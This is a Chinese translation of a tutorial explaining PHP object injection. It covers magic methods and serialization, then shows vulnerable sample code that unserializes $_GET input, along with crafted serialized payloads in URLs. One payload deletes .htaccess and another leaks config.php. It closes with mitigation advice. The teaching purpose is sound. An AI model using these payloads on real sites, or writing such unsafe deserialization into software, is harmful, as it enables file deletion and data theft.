深入理解PHP對象注入
php對象注入是一個非常常見的漏洞,這個類型的漏洞雖然有些難以利用,但仍舊非常危險,為了理解這個漏洞,請讀者具備基礎(chǔ)的php知識。
0x01 漏洞案例如果你覺得這是個渣渣洞,那么請看一眼這個列表,一些被審計狗挖到過該漏洞的系統(tǒng),你可以發(fā)現(xiàn)都是一些耳熟能詳?shù)耐嬉猓ň蛧鈦碚f)
WordPress 3.6.1
Magento 1.9.0.1
Joomla 3.0.3
Ip board 3.3.5
除此之外等等一堆系統(tǒng),八成可能大概在這些還有其他的php程序中還有很多這種類型的漏洞,所以不妨考慮坐下喝杯咖啡并且試著去理解這篇文章。
類和變量是非常容易理解的php概念,打個比方,下面的代碼在一個類中定義了一個變量和一個方法。
<?php class TestClass{ // A variable public $variable = 'This is a string'; // A simple method public function PrintVariable() {echo $this->variable; }} // Create an object $object = new TestClass(); // Call a method $object->PrintVariable(); ?>
它創(chuàng)建了一個對象并且調(diào)用了 PrintVariable 函數(shù),該函數(shù)會輸出變量 variable。
如果想了解更多關(guān)于php面向?qū)ο缶幊痰闹R 請點: http://php.net/manual/zh/language.oop5.php
0x02 php magic方法php類可能會包含一些特殊的函數(shù)叫magic函數(shù),magic函數(shù)命名是以符號“__”開頭的,比如 __construct, __destruct, __toString, __sleep, __wakeup 和其他的一些玩意。
這些函數(shù)在某些情況下會自動調(diào)用,比如:
__construct 當一個對象創(chuàng)建時調(diào)用 (constructor) __destruct 當一個對象被銷毀時調(diào)用 (destructor) __ toString當一個對象被當作一個字符串使用
為了更好的理解magic方法是如何工作的,讓我們添加一個magic方法在我們的類中。
<?php class TestClass { // 一個變量public $variable = 'This is a string';// 一個簡單的方法public function PrintVariable() { echo $this->variable . '<br />'; }// Constructorpublic function __construct() { echo '__construct <br />'; }// Destructorpublic function __destruct() { echo '__destruct <br />'; }// Callpublic function __toString() { return '__toString<br />'; } }// 創(chuàng)建一個對象 // __construct會被調(diào)用$object = new TestClass();// 創(chuàng)建一個方法 // 'This is a string’ 這玩意會被輸出$object->PrintVariable();// 對象被當作一個字符串 // __toString 會被調(diào)用echo $object;// End of PHP script // php腳本要結(jié)束了, __destruct會被調(diào)用?>
我們往里頭放了三個 magic方法,__construct, __destruct和 __toString,你可以看出來,__construct在對象創(chuàng)建時調(diào)用, __destruct在php腳本結(jié)束時調(diào)用,__toString在對象被當作一個字符串使用時調(diào)用。
這個腳本會輸出這狗樣:
__construct This is a string __toString __destruct
這只是一個簡單的例子,如果你想了解更多有關(guān)magic函數(shù)的例子,請點擊鏈接
0x03 php對象序列化php允許保存一個對象方便以后重用,這個過程被稱為序列化,打個比方,你可以保存一個包含著用戶信息的對象方便等等重用。
為了序列化一個對象,你需要調(diào)用 “serialize”函數(shù),函數(shù)會返回一個字符串,當你需要用到這個對象的時候可以使用“unserialize”去重建對象。
讓我們在序列化丟進那個例子,看看序列化張什么樣。
<?php// 某類class User{// 類數(shù)據(jù)public $age = 0;public $name = '';// 輸出數(shù)據(jù)public function PrintData(){echo 'User ' . $this->name . ' is ' . $this->age. ' years old. <br />';}}// 創(chuàng)建一個對象$usr = new User();// 設(shè)置數(shù)據(jù)$usr->age = 20;$usr->name = 'John';// 輸出數(shù)據(jù)$usr->PrintData();// 輸出序列化之后的數(shù)據(jù)echo serialize($usr);?>
它會輸出
User John is 20 years old. O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}
你可以看到序列化之后的數(shù)據(jù)中 有 20和John,其中沒有任何跟類有關(guān)的東西,只有其中的數(shù)據(jù)被數(shù)據(jù)化。
為了使用這個對象,我們用unserialize重建對象。
<?php// 某類class User{// Class datapublic $age = 0;public $name = '';// Print datapublic function PrintData(){echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';}}// 重建對象$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');// 調(diào)用PrintData 輸出數(shù)據(jù)$usr->PrintData();?>
著會輸出
User John is 20 years old0x04 序列化magic函數(shù)
magic函數(shù)constructor (__construct)和 destructor (__destruct) 是會在對象創(chuàng)建或者銷毀時自動調(diào)用,其他的一些magic函數(shù)會在serialize 或者 unserialize的時候被調(diào)用。
__sleep magic方法在一個對象被序列化的時候調(diào)用。 __wakeup magic方法在一個對象被反序列化的時候調(diào)用。
注意 __sleep 必須返回一個數(shù)組與序列化的變量名。
<?phpclass Test{public $variable = 'BUZZ';public $variable2 = 'OTHER';public function PrintVariable(){echo $this->variable . '<br />';}public function __construct(){echo '__construct<br />';}public function __destruct(){echo '__destruct<br />';}public function __wakeup(){echo '__wakeup<br />';}public function __sleep(){echo '__sleep<br />';return array('variable', 'variable2');}}// 創(chuàng)建一個對象,會調(diào)用 __construct$obj = new Test();// 序列化一個對象,會調(diào)用 __sleep$serialized = serialize($obj);//輸出序列化后的字符串print 'Serialized: ' . $serialized . <br />';// 重建對象,會調(diào)用 __wakeup$obj2 = unserialize($serialized);//調(diào)用 PintVariable, 會輸出數(shù)據(jù) (BUZZ)$obj2->PrintVariable();// php腳本結(jié)束,會調(diào)用 __destruct?>
這玩意會輸出:
__construct __sleep Serialized: O:4:"Test":2:{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";} __wakeup BUZZ __destruct __destruct
你可以看到,我們創(chuàng)建了一個對象,序列化了它(然后__sleep被調(diào)用),之后用序列化對象重建后的對象創(chuàng)建了另一個對象,接著php腳本結(jié)束的時候兩個對象的__destruct都會被調(diào)用。
更多相關(guān)的內(nèi)容
0x05 php對象注入現(xiàn)在我們理解了序列化是如何工作的,我們該如何利用它?事實上,利用這玩意的可能性有很多種,關(guān)鍵取決于應(yīng)用程序的流程與,可用的類,與magic函數(shù)。
記住序列化對象的值是可控的。
你可能會找到一套web程序的源代碼,其中某個類的__wakeup 或者 __destruct and其他亂七八糟的函數(shù)會影響到web程序。
打個比方,我們可能會找到一個類用于臨時將日志儲存進某個文件,當__destruct被調(diào)用時,日志文件會被刪除。然后代碼張這狗樣。
public function LogData($text) { echo 'Log some data: ' . $text . '<br />'; file_put_contents($this->filename, $text, FILE_APPEND); } // Destructor 刪除日志文件 public function __destruct() { echo '__destruct deletes "' . $this->filename . '" file. <br />'; unlink(dirname(__FILE__) . '/' . $this->filename); } } ?>
某例子關(guān)于如何使用這個類
<?phpinclude 'logfile.php';// 創(chuàng)建一個對象$obj = new LogFile();// 設(shè)置文件名和要儲存的日志數(shù)據(jù)$obj->filename = 'somefile.log';$obj->LogData('Test');// php腳本結(jié)束啦,__destruct被調(diào)用,somefile.log文件被刪除。?>
在其他的腳本,我們可能又恰好找到一個調(diào)用“unserialize”函數(shù)的,并且恰好變量是用戶可控的,又恰好是$_GET之類的什么玩意的。
<?phpinclude 'logfile.php';// ... 一些狗日的代碼和 LogFile 類 ...// 簡單的類定義class User{// 類數(shù)據(jù)public $age = 0;public $name = '';// 輸出數(shù)據(jù)public function PrintData(){echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';}}// 重建 用戶輸入的 數(shù)據(jù)$usr = unserialize($_GET['usr_serialized']);?>
你看,這個代碼調(diào)用了 “LogClass” 類,并且有一個 “unserialize” 值是我們可以注入的。
所以構(gòu)造類似這樣的東西:script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}究竟發(fā)生了什么呢,因為輸入是可控的,所以我們可以構(gòu)造任意的序列化對象,比如:
<?php$obj = new LogFile();$obj->filename = '.htaccess';echo serialize($obj) . '<br />';?>
這個會輸出
O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";} __destruct deletes ".htaccess" file.
現(xiàn)在我們將構(gòu)造過后的序列化對象發(fā)送給剛才的腳本:
script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess”;}
這會輸出
__destruct deletes ".htaccess" file.
現(xiàn)在 .htaccess 已經(jīng)被干掉了,因為腳本結(jié)束時 __destruct會被調(diào)用。不過我們已經(jīng)可以控制“LogFile”類的變量啦。
這就是漏洞名稱的由來:變量可控并且進行了unserialize操作的地方注入序列化對象,實現(xiàn)代碼執(zhí)行或者其他坑爹的行為。
雖然這不是一個很好的例子,不過我相信你可以理解這個概念,unserialize自動調(diào)用 __wakeup 和 __destruct,接著攻擊者可以控制類變量,并且攻擊web程序。
0x06 常見的注入點先不談 __wakeup 和 __destruct,還有一些很常見的注入點允許你利用這個類型的漏洞,一切都是取決于程序邏輯。
打個比方,某用戶類定義了一個__toString為了讓應(yīng)用程序能夠?qū)㈩愖鳛橐粋€字符串輸出(echo $obj) ,而且其他類也可能定義了一個類允許__toString讀取某個文件。
<?php// … 一些include ...class FileClass{// 文件名public $filename = 'error.log';//當對象被作為一個字符串會讀取這個文件public function __toString(){return file_get_contents($this->filename);}}// Main User classclass User{// Class datapublic $age = 0;public $name = '';// 允許對象作為一個字符串輸出上面的datapublic function __toString(){return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';}}// 用戶可控$obj = unserialize($_GET['usr_serialized']);// 輸出 __toStringecho $obj;?>
so,我們構(gòu)造url
script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}
再想想,如果我們用序列化調(diào)用 FileClass呢
我們創(chuàng)建利用代碼
<?php$fileobj = new FileClass();$fileobj->filename = 'config.php';echo serialize($fileobj);?>
接著用生成的exp注入url
script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php”;}
接著網(wǎng)頁會輸出 config.php的源代碼
<?php$private_data = 'MAGIC';?>
ps:我希望這讓你能夠理解。
0x07 其他的利用方法可能其他的一些magic函數(shù)海存在利用點:比如__call 會在對象調(diào)用不存在的函數(shù)時調(diào)用,__get 和 __set會在對象嘗試訪問一些不存在的類,變量等等時調(diào)用。
不過需要注意的是,利用場景不限于magic函數(shù),也有一些方式可以在一半的函數(shù)中利用這個漏洞,打個比方,一個模塊可能定義了一個叫g(shù)et的函數(shù)進行一些敏感的操作,比如訪問數(shù)據(jù)庫,這就可能造成sql注入,取決于函數(shù)本身的操作。
唯一的一個技術(shù)難點在于,注入的類必須在注入點所在的地方,不過一些模塊或者腳本會使用“autoload”的功能,具體可以在這里了解
0x08 如何利用或者避免這個漏洞別在任何用戶可控的地方使用“unserialize”,可以考慮“json_decode“
0x09 結(jié)論雖然很難找到而且很難利用,但是這真的真的很嚴重,可以導致各種各樣的漏洞。
大家有什么想法,歡迎評論哦
原文:https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
相關(guān)文章:
